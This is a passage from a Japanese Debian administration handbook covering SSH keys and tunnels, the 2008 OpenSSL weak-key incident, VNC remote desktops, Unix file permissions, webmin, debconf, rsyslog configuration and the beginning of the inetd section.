リモートサーバはユーザを認証するために SSH でログインする人に対して毎回パスワードを尋ねます。これは、接続を自動化したい場合や SSH 経由で頻繁に接続を行うツールを使う場合に問題です。このため、SSH は鍵認証システムを提供しています。

ユーザはクライアントマシンで ssh-keygen -t rsa を使って鍵ペアを生成します。この時公開鍵は ~/.ssh/id_rsa.pub に保存され、一方で公開鍵に対応する秘密鍵は ~/.ssh/id_rsa に保存されます。その後ユーザは

ssh-copy-id **server** を使って、自分の公開鍵をサーバの ~/.ssh/authorized_keys ファイルに追加登録します。秘密鍵を生成した際に「パスフレーズ」で保護しなかった場合、公開鍵を登録したサーバに対する以降すべてのログインでパスワードは不要です。そうでなければ、秘密鍵を使う際は毎回パスフレーズを入力して秘密鍵を復号化しなければいけません。幸いにも、ssh-agent を使えば復号化された秘密鍵がメモリ内に保存され、パスワードをきちんと再入力する必要がなくなります。これを実現するには、セッションが既に機能する ssh-agent のインスタンスに関連付けられている条件下で、単純に (作業セッションごとに 1 回) ssh-add を使ってください。Debian はグラフィカルセッションではデフォルトで ssh-agent を有効化しますが、/etc/X11/Xsession.options を変更すれば無効化することも可能です。コンソールセッションでは手作業で eval $(ssh-agent) を実行することで ssh-agent を開始できます。

SECURITY

秘密鍵の保護

秘密鍵を持っていれば、誰でも対応する公開鍵を登録したアカウントにログインすることが可能です。このため、秘密鍵の利用は「パスフレーズ」で保護されています。秘密鍵ファイル (たとえば ~/.ssh/id_rsa) のコピーを不正に入手した人が秘密鍵を使うためには、パスフレーズを知らなければいけません。しかしながら、「パスフレーズ」による追加的な保護は堅固なものではありません。秘密鍵ファイルが不正に使われていると感じたなら、その秘密鍵に対応する公開鍵をインストールしたコンピュータでその公開鍵の使用を停止し (authorized_keys ファイルから公開鍵を削除し)、新しく生成した鍵で公開鍵を置き換えるのが最良の対応策です。

CULTURE

Debian Etch における OpenSSL の脆弱性

当初 Debian **Etch** から配布されていた OpenSSL ライブラリは乱数発生器 (RNG) に深刻な問題がありました。はっきり言うと、Debian メンテナによって valgrind などのメモリテストツールで OpenSSL ライブラリを使うアプリケーションを解析した際に警告を出さなくなるような変更が行われました。不幸なことに、この変更により RNG はエントロピーソースを 1 つしか使わなくなりました。ここで使われたエントロピーソースはプロセス ID (PID) に相当するもので、PID の取りうる値は 32,000 程度しかないため PID をソースとして用いたことにより十分な乱数度が得られなくなりました。

➨ http://www.debian.org/security/2008/dsa-1571

具体的に言えば、OpenSSL を使って鍵を生成した場合、生成された鍵は常に数十万 (鍵長種数の 32,000 倍) の既知の範囲内にある鍵のうちの 1 つになります。この脆弱性は、たとえば OpenVPN など数多くのアプリケーションが使う SSH 鍵、SSL 鍵、X.509 証明書に影響をおよぼしました。クラッカーは全種類の鍵を試すだけで不正アクセスを実行することが可能でした。この問題の影響を減らす目的で、SSH デーモンは **openssh-blacklist** と **openssh-blacklist-extra** パッケージにリストされている問題のある鍵を拒否するように変更されました。さらに、ssh-vulnkey コマンドを使えば、システム内からこの脆弱性の影響を受けているかもしれない鍵を識別することが可能です。

この出来事をいっそう詳しく調べると、これは OpenSSL プロジェクト内と Debian パッケージメンテナ双方にあった多数の (小さな) 問題の結果であるということが、明らかになります。OpenSSL のように広く使われるライブラリは (修正せずとも) valgrind でテストした時に警告を出すべきではありません。さらに、コード (特に RNG と同様に慎重に取り扱われるべき部分) はこのような誤解を避ける目的で詳しい注釈を付けられるべきです。Debian 側について言えば、メンテナは OpenSSL 開発者から修正に対する検証を受けることを望んでいながら、修正の検証に必要なパッチを OpenSSL 開発者に提供することもせずに自分の修正について簡単に説明しただけで、Debian 内における自分の役割を口にすることもしませんでした。そして最後に、メンテナンス方針が最適なものではありませんでした。具体的に言えば、元のコードに対して行った修正が文書中で明らかにされず、さらにすべての修正は Subversion リポジトリに効果的に保存されていましたが、最終的にすべての修正はソースパッケージの作成中に 1 つのパッチにまとめられていました。

このような状況下では、これと同様の出来事が繰り返されることを避けるための適切な矯正措置を見つけるのは難しいです。ここで覚えておくべき教訓は Debian が上流開発ソフトウェ

アに対して導入したすべての変更は正当化され、文書化され、可能であれば上流プロジェクトに提出され、広く公開されなければいけないということです。この視点から、新しいソースパッケージフォーマット (「3.0 (quilt)」) と Debian ソースウェブサービスが開発されました。

➡ http://sources.debian.net

リモートの X11 アプリケーションを使う

SSH プロトコルを使うと、グラフィカルデータ (「X11」セッション、Unix で最も広く使われているグラフィカルシステム) を転送することが可能です。サーバはこれらのデータ専用の経路を開いたままにします。具体的に言うと、リモートで実行されたグラフィカルプログラムはローカル画面の X.org サーバ上に表示され、すべてのセッション (入力と表示) は保護されます。X11 転送機能によりリモートアプリケーションがローカルシステムに干渉することになるため、X11 転送機能はデフォルトで無効化されています。X11 転送機能を有効化するには、SSH サーバの設定ファイル (`/etc/ssh/sshd_config`) で X11Forwarding yes と指定してください。さらにユーザは ssh コマンドラインに -X オプションを追加して転送を要求しなければいけません。

ポート転送を使った暗号化トンネルの作成

ssh の -R と -L オプションを使うと、ssh が 2 台のマシン間で「暗号化トンネル」を作成することが可能です。「暗号化トンネル」を使えば、ローカル TCP ポート (補注「 TCP/UDP」222 ページを参照してください) をリモートのマシンに安全に転送したりその逆を行うことも可能です。

VOCABULARY

トンネル

インターネットとインターネットに接続されている多くの LAN はパケットモードで動作しており、接続モードで動作していません。これは、一方のコンピュータから他方のコンピュータに向かって送信されたパケットは、宛先への経路を見つけるために複数の中間ルータで足止めされることを意味しています。とは言っても、接続モードを模倣することも可能です。接続モードではストリームを普通の IP パケットの中にカプセル化します。これらのパケットは通常の経路を通過しますが、ストリームは宛先を変えられることなく再構成されます。これは道路のトンネルにかけて「トンネル」と呼ばれています。道路のトンネルでは車両が入口 (入力) から出口 (出力) まで交差点に遭遇することなくまっすぐ進むのに対し、地上の経路を使うと車両は交差点を通過したり右折左折を繰り返しながら目的地まで進むことになります。

トンネルに暗号化機能を追加することが可能です。すなわち、トンネルの中を流れるストリームは外から認識できませんが、トンネルの出口で復号化された形で返されます。

`ssh -L 8000:server:25 intermediary` を使うことで、ローカルの ssh に **intermediary** との SSH セッションを確立させ、ローカルの ssh にローカルのポート 8000 番をリッスンさせます (図 9.3「SSH を使ったローカルポートの転送」195 ページを参照してください)。ローカルのポート 8000 番を経由して接続が開始されたら、**intermediary** の ssh は **intermediary** から **server** のポート 25 番に接続し、ローカルから **server** への接続を中継します。

`ssh -R 8000:server:25 intermediary` を使うことで、ローカルの ssh に **intermediary** との SSH セッションを確立させ、**intermediary** の ssh に **intermediary** のポート 8000 番をリッスンさせます (図 9.4「SSH を使ったリモートポートの転送」195 ページを参照してください)。**intermediary** のポート 8000 番を経由して接続が開始されたら、ローカルの ssh はローカルから **server** のポート 25 番に接続し、**intermediary** から **server** への接続を中継します。

どちらの場合も、ローカルと **intermediary** の間に確立した SSH トンネルを介して、**server** のポート 25 番に接続します。最初の例の場合、トンネルの入口はローカルのポート 8000 番で、データはまず **intermediary** を目指し、その後に「公開」ネットワークを経由して **server** に向かいます。2 番目の例の場合、トンネルの入口と出口が逆になります。トンネルの入口は **intermediary** のポート 8000 番で、出口はローカルにあります。出口から出たデータは **server** に向かいます。現実的な話をすると、ここで使われている **server** にはローカルまたは **intermediary** を指定することが多いです。このようにして SSH は端から端までの接続を保護します。

図 9.3　SSH を使ったローカルポートの転送

図 9.4　SSH を使ったリモートポートの転送

9.2.2. リモートグラフィカルデスクトップの利用

VNC (Virtual Network Computing) を使うとグラフィカルデスクトップにリモートからアクセスすることが可能になります。

VNC は技術支援に使われることが多いです。なぜなら、管理者はユーザが直面しているエラーを見ることが可能で、ユーザの側にいなくても正しい行動の仕方をユーザに示すことが可能だからです。

リモートデスクトップを使うには、最初にユーザが自分のセッションを共有することを認可しなければいけません。**Jessie** に含まれる GNOME グラフィカルデスクトップ環境の場合、設定パネル内にこれを行うオプションが含まれています (以前の Debian のバージョンではユーザが `vino` をインストールして実行しなければいけませんでした)。KDE の場合、既存のセッションを VNC を介して共有するには `krfb` を使う必要があります。他のグラフィカルデスクトップ環境の場合、`x11vnc` コマンド (同名の Debian パッケージに含まれます) を使います。さらに、管理者はわかりやすいアイコンを作ってユーザが `x11vnc` を実行できるようにすることが可能です。

VNC がグラフィカルセッションを利用できるようにしたら、管理者は VNC クライアントでセッションに接続しなければいけません。VNC クライアントとして、GNOME には `vinagre` と `remmina` が、KDE には `krdc` (K → インターネット → リモートデスクトップクライアント) が用意されています。コマンドラインを使う他の VNC クライアントもあります。たとえば、`xvnc4viewer` (同名の Debian パッケージに含まれます) などです。ひとたびセッションに接続したら、管理者は何が起きているか確認し、リモートでマシンの作業を行い、ユーザにその様子を見せることが可能です。

SECURITY

VNC over SSH

VNC で接続したいけれども、データを平文でネットワークに流したくない場合、SSH トンネルでデータをカプセル化することが可能です (第 9.2.1.3 節「ポート転送を使った暗号化トンネルの作成」194 ページを参照してください)。この時知っておかなければいけない点は、デフォルトで VNC は最初の画面 (「localhost:0」と呼ばれます) にポート 5900 番、2 番目の画面 (「localhost:1」と呼ばれます) にポート 5901 番を使うという点だけです。

`ssh -L localhost:5901:localhost:5900 -N -T` **`machine`** コマンドを使うことで、localhost インターフェースのポート 5901 番と **machine** のポート 5900 番の間にトンネルが作られます。最初の「localhost」はローカルのインターフェースのみをリッスンするように SSH を制限します。2 番目の「localhost」は「localhost:5901」に入ってきたネットワークトラフィックを受け取るリモート側のインターフェースを表します。そんなわけで、`vncviewer localhost:1` はローカルの名前を使っているにも関わらず VNC クライアントをリモートの画面に接続します。

VNC セッションを閉じたら、対応する SSH セッションを終了してトンネルを閉じることも忘れないでください。

BACK TO BASICS

ディスプレイマネージャ

`gdm3`、`kdm`、`lightdm`、`xdm` はディスプレイマネージャです。ディスプレイマネージャは起動直後にログイン画面をユーザに提供する目的でグラフィカルインターフェースを制御します。ユーザがログインしたら、ディスプレイマネージャはグラフィカルの作業セッションを始めるために必要なプログラムを実行します。

また、モバイルユーザや会社幹部のような自分が仕事場で使っているのとよく似たリモートデスクトップにアクセスするために時々自宅からログインする必要があるユーザにとって、VNC は都合の良いものです。そのようなサービス用の設定はより複雑です。具体的に言えば、管理者は最初に **vnc4server** パッケージをインストールし、XDMCP Query 要求を受け入れるようにディスプレイマネージャの設定を変更し (`gdm3` の場合、`/etc/gdm3/daemon.conf` の「xdmcp」セクションに Enable=true を追加し)、そして最後に `inetd` を使って VNC サーバを起動するように設定します。こうすることで、ユーザがログインを試行したらセッションが自動的に開始されるようになります。たとえば、以下の行を `/etc/inetd.conf` に追加します。

```
5950  stream  tcp  nowait  nobody.tty  /usr/bin/Xvnc Xvnc -inetd -query localhost -once
    ➥ -geometry 1024x768 -depth 16 securitytypes=none
```

入ってくる接続をディスプレイマネージャに転送することにより、認証の問題が解決されます。なぜなら、ローカルアカウントを持つユーザだけが gdm3 (または同等の kdm、xdm など) のログイン画面を突破できるからです。このやり方は (サーバの性能が十分高いなら) なんの問題もなく複数の同時ログインを許すため、完全なデスクトップをモバイルユーザに対して (またはシンクライアントとして設定された非力なデスクトップシステムに対して) 提供するという用途にも応用できます。ユーザは単純に vncviewer **server**:50 でサーバの画面にログインするだけです。なぜなら、使われているポートは 5950 番だからです。

9.3. 権限の管理

Linux は完全なマルチユーザシステムです。このため、ユーザの権限に基づいてファイルやディレクトリに対する操作を制御するためにパーミッションシステムを提供することが必要です。このパーミッションシステムはすべてのシステムリソースとデバイスに対して適用されます (Unix システムではすべてのデバイスはファイルまたはディレクトリとして表現されます)。この原理はすべての Unix システムで共通ですが、特に興味深く比較的知られていない上級の使い方があるので、注意は常に必要です。

ファイルとディレクトリには 3 種類のユーザ別に特定のパーミッションが付けられます。以下に 3 種類のユーザを挙げます。

- 所有者 (「user」の u で表記されます)。
- 所有グループ (「group」の g で表記されます)。これはグループに所属する全ユーザを意味しています。
- その他 (「other」の o で表記されます)。

3 種類の権限は組み合わせて使うことが可能です。以下に 3 種類の権限を挙げます。

- 読み込み (「read」の r で表記されます)。
- 書き込み (または変更。「write」の w で表記されます)。
- 実行 (「eXecute」の x で表記されます)。

ファイルの場合、これらの権限は簡単に理解できます。すなわち、読み込み権限があれば、内容を読むことが可能です (コピーも可能です)。書き込み権限があれば、内容を変更することが可能です。実行権限があれば、内容を実行することが可能です (実行権限に意味があるのは対象がプログラムの場合に限ります)。

SECURITY

setuid と setgid 実行ファイル

setuid と setgid (「s」で表記されます) は実行ファイルに関係する 2 種類の特別な権限です。setuid と setgid は 0 か 1 で表されるブール値のため、「ビット」と呼ばれることが多い点に注意してください。setuid および setgid 権限を使うと、実行されたプログラムは所有者および所有グループの権限で動くことになります。このメカニズムを使うと、プログラムはプログラムを実行したユーザが通常持っているよりも高位のパーミッションを要求する機能にアクセスできるようになります。

root が所有者の setuid されたプログラムは一貫してスーパーユーザとして実行されるため、この種のプログラムが安全で信頼できるプログラムか否かという点はとても重要です。実際、好きなコマンドを呼び出すために root が所有者の setuid されたプログラムを破壊することで、ユーザは root ユーザになりすまし、システムのすべての権限を掌握することが可能です。

ディレクトリは別のやり方で取り扱われます。読み込み権限があれば、そのエントリ (ファイルとディレクトリ) のリストを閲覧することが可能です。書き込み権限があれば、ファイルを作成および削除することが可能です。実行権限があれば、そのディレクトリを横断することが可能です (cd コマンドでそのディレクトリに移動できます)。ディレクトリの読み込み権限がなくてもディレクトリを横断できるならば、ディレクトリ内の名前を知っているエントリにアクセスすることが可能です。ただし、エントリの存在を知らないかエントリの完全な名前を知らない場合、そのエントリを見つけることはできません。

SECURITY

setgid ディレクトリとスティッキービット

setgid ビットはディレクトリにも適用されます。setgid ビットが適用されたディレクトリの中に新しく作成されたアイテムは、作成者のメイングループを継承するのではなく、自動的に親ディレクトリの所有グループを割り当てられます。こうすることで、ユーザが同じ専用グループに所属する複数のユーザの間で共有されているファイルツリーの中で作業をしている場合、(newgrp コマンドを使って) 自分のメイングループを変更する必要がなくなります。

「スティッキー」ビット (「t」で表記されます) とはディレクトリだけに有効なパーミッションです。これは特に誰もが書き込み権限を持つ一時ディレクトリ (/tmp/ など) に使われます。すなわち、スティッキービットを付けられたディレクトリ以下に含まれるファイルの削除を制限できます。ファイルは所有者 (または親ディレクトリの所有者) だけが削除できるようになります。/tmp/ にスティッキービットがなければ、/tmp/ ディレクトリ以下にある他のユーザのファイルを誰でも削除できることになります。

以下はファイルのパーミッションを制御する 3 種類のコマンドです。

- chown **user file**。これはファイルの所有者を変更します。
- chgrp **group file**。これはファイルの所有グループを変更します。
- chmod **rights file**。これはファイルのパーミッションを変更します。

権限の指定方法には 2 種類あります。それらの中でも、記号指定が最もわかりやすく覚えやすいでしょう。これは上で述べた文字記号を使います。ユーザのカテゴリ (u/g/o) に対する権限を (= で) 明示したり、(+ で) 追加したり、(- で) 取り除いたりできます。そんなわけで、u=rwx,g+rw,o-r 式は、所有者に読み込み、書き込み、実行権限を与え、所有グループに読み込み、書き込み権限を追加し、その他のユーザから読み込み権限を奪います。追加と削除によって変更されない権限はそのままです。「all」を意味する文字 a は 3 つのユーザカテゴリすべてを表現します。このため、a=rx はすべてのカテゴリのユーザに対して同じ権限を与えます (読み込みと実行権限を与え、書き込み権限を与えません)。

数値表記は各権限を値 (8 進数) で表現します。具体的に言えば、読み込みは 4、書き込みは 2、実行権限は 1 で表現します。権限を組み合わせるには組み合わせたい権限に対応する数字を合計します。ユーザの各カテゴリ (所有者、グループ、その他) に対して与える権限を同じ順番で連結して、それぞれの権限を表現します。

たとえば、chmod 754 **file** コマンドは以下の権限を設定します。すなわち、所有者に書き込み、読み込み、実行権限を設定し (7 = 4 + 2 + 1 なので)、さらに所有グループに読み込み、実行権限を設定し (5 = 4 + 1 なので)、さらにその他のユーザに読み込み権限を設定します。0 はいかなる権限も与えないことを意味します。このため chmod 600 **file** は所有者に読み込み、書き込み権限を設定し、所有者以外のユーザにはいかなる権限も与えません。最もよく使われる権限の組み合わせは、実行ファイルやディレクトリの場合 755 で、データファイルの場合 644 です。

同じ原則に従って特別な権限を表す 4 番目の桁は先に説明した 3 桁の権限表記の前に付けます。setuid、setgid、sticky ビットがそれぞれ 4、2、1 に対応します。chmod 4754 は前に説明した権限に加えて、setuid ビットを設定します。

8 進数表記で権限を指定すると、対象のファイルに対するすべての権限が同じものに設定されます。すなわち、たとえば所有グループに読み込み権限を与えるなどの新しい権限を追加したい場合、8 進数表記は使えません。なぜなら、既に設定されている権限を考慮した新しい権限の数値表記が対象のファイルすべてで同じ数値表記になるとは限らないからです。

TIP

再帰的操作

しばしばファイルツリー全体の権限を変更しなければいけない場合があります。chown、chgrp、chmod には、サブディレクトリ内で再帰的に操作を行うための -R オプションが用意されています。

再帰的な操作を行う場合、ディレクトリとファイルの違いが原因で時々問題が起こることがあります。このため、「X」文字が権限の記号表記に導入されました。「X」文字はディレクトリ (と誰かが実行権限を持つファイル) だけに適用される実行権限を表します。このため、chmod -R a+X **directory** は、すべてのサブディレクトリと少なくとも 1 つのカテゴリのユーザ (所有者、所有グループ、その他のユーザのうちの誰か一人) が既に実行権限を持っているすべてのファイルに対して、すべてのカテゴリのユーザ (a) の実行権限を追加します。

TIP

ユーザとグループの変更

しばしば、ファイルのグループと所有者を同時に変更したい場合があります。この用途向けに chown コマンドには特別な構文があります。具体的に言えば、chown **user:group file** です。

GOING FURTHER

umask

アプリケーションがファイルを作成する際、ファイルには目安となるパーミッションが割り当てられます。このパーミッションは umask コマンドで表示される特定の権限を削除したパーミッションです。シェルで umask を実行すると、0022 などのマスクが表示されます。これは権限の単純な 8 進数表記で、これで表される権限が体系的に削除されます (0022 の場合、所有グループとその他のユーザに対する書き込み権限が削除されます)。

新しい 8 進数値でマスクを再設定したければ、umask コマンドでマスクを変更できます。シェル初期化ファイル (たとえば、~/.bash_profile) の中で umask コマンドを使った場合、作業セッション内で有効なデフォルトのマスクを変更します。

9.4. 管理インターフェース

管理にグラフィカルインターフェースを使うことはさまざまな状況で興味深いです。管理者はすべてのサービスのすべての設定の詳細を知る必要はありませんし、常に問題に関連する文書を探し出すための時間があるというわけでもありません。管理用のグラフィカルインターフェースを使うと、新しいサービスを素早く配備できるようになります。さらに、設定の難しいサービスのセットアップを単純に行うことが可能です。

グラフィカルインターフェースは補助でしかなく、インターフェース自身は目的ではありません。どんな場合でも管理者は、さまざまな潜在的問題を理解して対処するために、サービスの挙動に精通しなければいけません。

どんなインターフェースも完璧ではありませんから、さまざまなインターフェースを試したくなるかもしれません。これは可能な限り避けるべきです。なぜなら、ツールが違えばそのやり方に互換性がないこともあるからです。すべてのツールが高い柔軟性を持つことを心がけ、特定の設定ファイルを基準に選ぼうとしている場合であっても、あるツールが自分以外のツールによって行われた変更を必ず統合できるとは限りません。

9.4.1. ウェブインターフェースを使った管理、webmin

webmin が最も成功した管理インターフェースの 1 つであることは間違いないでしょう。webmin はウェブブラウザを介したモジュールシステムで、幅広い領域とツールをカバーしています。さらに、webmin は国際化されており、多くの言語で利用できます。

残念なことに、webmin はもはや Debian に含まれません。webmin の Debian メンテナを務めていた Jaldhar H. Vyas は自分の作ったパッケージを削除しました。なぜなら、彼にはもはや品質合格基準に達するだけの品質でメンテナンス作業を行うのに必要な時間がなかったからです。公式にパッケージを引き継ぐ人がいなかったため、**Jessie** には webmin パッケージが含まれません。

しかしながら、非公式パッケージが webmin.com ウェブサイトから配布されています。元の Debian パッケージと異なり、このパッケージは柔軟性に欠けています。さらに対応するサービスがマシンにインストールされているか否かに関わらず、すべての設定モジュールがインストールされデフォルトで有効化されます。

SECURITY

webmin の root パスワードの変更

webmin の管理インターフェースに初めてログインする際には、root というユーザ名とサーバの root のパスワードを使って身分証明します。そして可能な限り早く webmin の root パスワードをサーバの root パスワードと違うものにしておくことを推奨します。なぜなら、たとえ webmin の root パスワードを使うことでサーバに対する重要な管理上の権限が必要な操作が可能になるとしても、両者を違うものにしておけば webmin が不正アクセスを受けた場合でもサーバの root パスワードを守ることが可能だからです。

注意してください! webmin は多くの機能を持っていますから、悪意あるユーザが webmin を使って全システムのセキュリティを侵害することが可能です。一般に、この種のインターフェースを強固なセキュリティを要求される重要なシステム (ファイアウォール、外部向けサーバなど) で使うのは推奨されません。

webmin はウェブインターフェースを介して使われますが、Apache をインストールする必要はありません。元から webmin には統合された小さなウェブサーバが含まれています。このサーバはデフォルトでポート 10000 番をリッスンし、安全な HTTP 接続を受け入れます。

webmin に導入されているモジュールは多種多様なサービスをカバーしています。たとえば以下はそのリストです。

- すべての基盤サービス。このモジュールはユーザとグループの作成、crontab ファイルの管理、init スクリプト、ログの閲覧などを担当します。
- bind。このモジュールは DNS サーバの設定 (ネームサービス) を担当します。
- postfix。このモジュールは SMTP サーバの設定 (電子メール) を担当します。
- inetd。このモジュールは inetd スーパーサーバの設定を担当します。
- quota。このモジュールはユーザクォータの管理を担当します。
- dhcpd。このモジュールは DHCP サーバの設定を担当します。
- proftpd。このモジュールは FTP サーバの設定を担当します。
- samba。このモジュールは Samba ファイルサーバの設定を担当します。
- ソフトウェア。このモジュールは Debian パッケージを使ったソフトウェアのインストールと削除およびシステム更新を担当します。

ウェブブラウザで https://localhost:10000 にアクセスすれば管理インターフェースを使えます。注意してください! すべてのモジュールがすぐに使えるわけではありません。対応する設定ファイルと一部の実行ファイル (プログラム) の場所を指定して、モジュールを設定しなければいけない場合もあります。webmin システムが要求されたモジュールの有効化に失敗した場合、webmin システムは丁寧な指示を表示するでしょう。

ALTERNATIVE

GNOME コントロールセンター

GNOME プロジェクトは、通常右上に位置するシステムメニューの「設定」エントリから利用できる、複数の管理インターフェースを提供します。`gnome-control-center` は複数の管理インターフェースをひとまとめにしたメインプログラムですが、システム共通設定ツールの多くは他のパッケージによって提供されています (たとえば **accountsservice**、**system-config-printer** などが提供されています)。これらのアプリケーションは使いやすいのですが、基盤サービスの一部だけしかカバーされません。たとえば、ユーザ管理、時間設定、ネットワーク設定、プリンタ設定などがカバーされます。

9.4.2. パッケージの設定、debconf

多くのパッケージが、インストール中 Debconf ツールを使ってわずかな質問をした後に、自動的に設定されるようになっています。この種のパッケージは `dpkg-reconfigure` **package** を実行すれば再設定できます。

多くの場合、これらの設定はとても簡素です。すなわち、設定ファイル中のわずかな重要変数だけが変更されます。これらの重要変数は多くの場合 2 つの「境界」線で挟まれています。そうすれば、パッケージを再設定する際に影響をおよぼす箇所を境界線で挟まれた範囲だけに限定できるからです。「境界」線で挟まれていない場合、スクリプトが手作業で設定ファイルが変更されたことを検出したら、人間による設定変更を上書きしないよう、再設定しても何も変更されません (なぜなら、スクリプトは自分の修正が既存の設定を破壊しないことを保証できないからです)。

DEBIAN POLICY

変更の保存

Debian ポリシーには、スクリプトは設定ファイルに対して行われた手作業の変更を保護するように作業を実行しなければいけないことが明確に規定されています。このため、ますます多くのスクリプトが設定ファイルを編集する際に事前注意を出します。一般的な原則は単純です。すなわち、スクリプトが修正を行うのは、設定ファイルの状態を検証して、修正しても問題ないと判断した場合だけです。設定ファイルの状態検証は、最後に自動的に生成された設定ファイルのチェックサムと現在の設定ファイルのチェックサムを比較することで行います。両者のチェックサムが同じ場合、スクリプトは設定ファイルを変更する権限を与えられます。チェックサムが違った場合、設定ファイルが変更されたと判断し、対応 (新しいファイルをインストールする、古いファイルを保存する、新しい変更を既存のファイルと統合しようとする) を尋ねます。この事前注意の原則は長きにわたり Debian に固有の原則でしたが、他のディストリビューションでも徐々にこの原則が採用され始めています。

`ucf` プログラム (同名の Debian パッケージに含まれます) はこの原則を実行に移すために使われます。

9.5. syslog システムイベント

9.5.1. 原理とメカニズム

`rsyslogd` デーモンはアプリケーションおよびカーネルからのサービスメッセージの収集を担当し、サービスメッセージをログファイルに配送します (通常 `/var/log/` ディレクトリに保存します)。`rsyslogd` デーモンは `/etc/rsyslog.conf` ファイルの設定に従います。

各ログメッセージはアプリケーションサブシステム (文書中では「facility」と呼ばれます) に関連付けられます。

- auth と authpriv。認証に関連するメッセージです。
- cron。タスクスケジューリングサービスである cron と atd から受け取ったメッセージです。
- daemon。特に分類されていないデーモン (DNS、NTP など) から受け取ったメッセージです。
- ftp。FTP サーバから受け取ったメッセージです。
- kern。カーネルから受け取ったメッセージです。
- lpr。印刷サブシステムから受け取ったメッセージです。
- mail。電子メールサブシステムから受け取ったメッセージです。
- news。Usenet サブシステム (特にニュースグループを管理する NNTP (Network News Transfer Protocol) サーバ) から受け取ったメッセージです。
- syslog。syslogd サーバ (自分) から受け取ったメッセージです。
- user。ユーザメッセージ (一般的なメッセージ) に関連するメッセージです。
- uucp。UUCP (Unix to Unix Copy Program、とりわけ昔は電子メールメッセージの配送に使われていた古いプロトコル) サーバから受け取ったメッセージです。
- local0 から local7。ローカル利用向けに予約されているサブシステムから受け取ったメッセージです。

さらに各メッセージは優先度と関連付けられます。以下は優先度の高い順に挙げたリストです。

- emerg。システムが「助けてください!」と言っていることを示しています。これは非常事態で、おそらくシステムが不安定になっていることを示しています。
- alert。システムが大至急対応を必要としており、遅れると危険な状態になることを示しています。この場合、すぐに何らかの措置を講じてください。
- crit。システムが危機的状態に陥っていることを示しています。
- err。システムにエラーが発生していることを示しています。
- warn。システムが警告 (潜在的エラー) を発していることを示しています。
- notice。システムが正常な状態とは言うものの、重要なメッセージを発していることを示しています。
- info。システムが有益なメッセージを発していることを示しています。
- debug。システムがデバッグメッセージを発していることを示しています。

9.5.2. 設定ファイル

/etc/rsyslog.conf ファイルの構文は rsyslog.conf(5) マニュアルページで詳しく説明されています。しかし、**rsyslog-doc** パッケージから提供される HTML 文書 (/usr/share/doc/rsyslog-doc/html/index.html) も利用できます。全般的な原則は「セレクタ」と「アクション」の組を書くことです。セレクタはすべての関連するメッセージを定義し、アクションはそれらのメッセージをどのように取り扱うかを定義します。

セレクタの構文

セレクタは **subsystem.priority** の組からなるセミコロン区切りリストです (たとえば auth.notice;mail.info などです)。アスタリスクはすべてのサブシステムまたはすべての優先度を表します (たとえば *.alert、mail.* などのように使います)。コンマで区切れば複数のサブシステムをグループ化することが可能です (たとえば auth,mail.info などのように使います)。優先度は指定した優先度と同じかより高い優先度を持つメッセージを意味しています。このため auth.alert は alert および emerg 優先度を持つ auth サブシステムメッセージを表現します。優先度の前に感嘆符 (!) を付けると否定を表します。言い換えれば、その優先度より低い優先度です。このため auth.!notice は auth サブシステムメッセージの内 info および debug 優先度を持つメッセージを表現します。優先度の前に等号 (=) を付けると、指定した優先度だけを表します (auth.=notice は auth サブシステムメッセージの内 notice 優先度を持つメッセージを表現します)。

セレクタリスト内の各要素は前の要素を上書きします。このため、セレクタリストからある組を制限したり、特定の要素だけを除外することが可能です。たとえば、kern.info;kern.!err はカーネルから受け取った info 以上 warn 以下の優先度を持つメッセージを意味します。none 優先度は空の組を意味し (優先度を指定しないことを意味し)、あるサブシステムだけをメッセージの組から除外するのに役立つかもしれません。そんなわけで、*.crit;kern.none はカーネルから受け取った crit 以上の優先度を持つメッセージを意味します。

アクションの構文

BACK TO BASICS

名前付きパイプ、永続的なパイプ

名前付きパイプは特殊なファイル型で、古典的なパイプ (コマンドラインで「|」文字を使って表すパイプ) のように振る舞いますが、ファイルを経由します。名前付きパイプのメカニズムは 2 つの別々のプロセスを関連付けることが可能という利点を持っています。別のプロセスが名前付きパイプに書き込まれるデータを読む準備を整えるまで、名前付きパイプに書き込むプロセスはブロックされます。読み込み側のプロセスが書き込み側のプロセスの書き込んだデータを読み込むと、書き込み側のプロセスのブロックが解除されます。

名前付きパイプは `mkfifo` コマンドで作成します。

以下に指定できるさまざまなアクションを挙げます。

- ファイルにメッセージを追記します (たとえば `/var/log/messages` などのように指定します)。
- メッセージをリモートの `syslog` サーバに送信します (たとえば @log.falcot.com などのように指定します)。
- 既存の名前付きパイプにメッセージを送信します (たとえば |/dev/xconsole などのように指定します)。
- ログイン中の個人または複数人のユーザにメッセージを送信します (たとえば root,rhertzog などのように指定します)。
- ログイン中の全ユーザにメッセージを送信します (たとえば * などのように指定します)。
- テキストコンソールにメッセージを書き込みます (たとえば /dev/tty8 などのように指定します)。

SECURITY

ログの転送

最重要のログを別のマシン (ログ記録専用マシン) に記録することは良い考えです。なぜなら、そうすることで侵入者に不正侵入の形跡を削除されないようにすることが可能だからで

す (形跡を削除するにはもちろん、ログ記録専用の別のマシンに不正アクセスするしかありません)。さらに、深刻な問題 (カーネルクラッシュなど) が起きた場合に、別のマシンにログを記録しておけば、クラッシュを引き起こす一連の出来事を決定できる可能性を増やすことが可能です。

他のマシンから送信されたログメッセージを受け入れるには、**rsyslog** を再設定しなければいけません。具体的に言えば、/etc/rsyslog.conf の中ですぐに利用できる状態になっているエントリ ($ModLoad imudp と $UDPServerRun 514) を有効化するだけで十分です。

9.6. inetd スーパーサーバ

inetd (通常「インターネットスーパーサーバ」と呼ばれます) はサーバのサーバです。inetd は要求に応じてまれに使われるサーバを実行します。そうすれば、まれにしか使われないサーバを常に実行しておく必要がなくなります。

/etc/inetd.conf ファイルには、要求に応じて起動するサーバとサーバの使うポート番号が書かれています。inetd コマンドはここで書かれたすべてのポートをリッスンします。さらに、inetd はポートに対する接続を検出したら、対応するサーバプログラムを実行します。

DEBIAN POLICY

inetd.conf へのサーバの登録

多くの場合 inetd を使うサーバのパッケージは /etc/inetd.conf ファイルに自分を登録することを望むのですが、Debian ポリシーはパッケージが自分の持ち物でない設定ファイルを修正することを禁止しています。このため、update-inetd スクリプト (同名のパッケージに含まれます) が作成されました。すなわち update-inetd スクリプトが設定ファイルを管理し、他のパッケージは update-inetd を使ってスーパーサーバの設定に新しいサーバを登録します。

/etc/inetd.conf ファイルの有効な各行は (空白で区切られた) 7 つのフィールドで 1 つのサーバを表現します。各フィールドの意味は以下の通りです。

- TCP か UDP のポート番号、またはサービス名 (この場合、/etc/services ファイルに含まれる情報を使って標準的なポート番号に置換されます)。
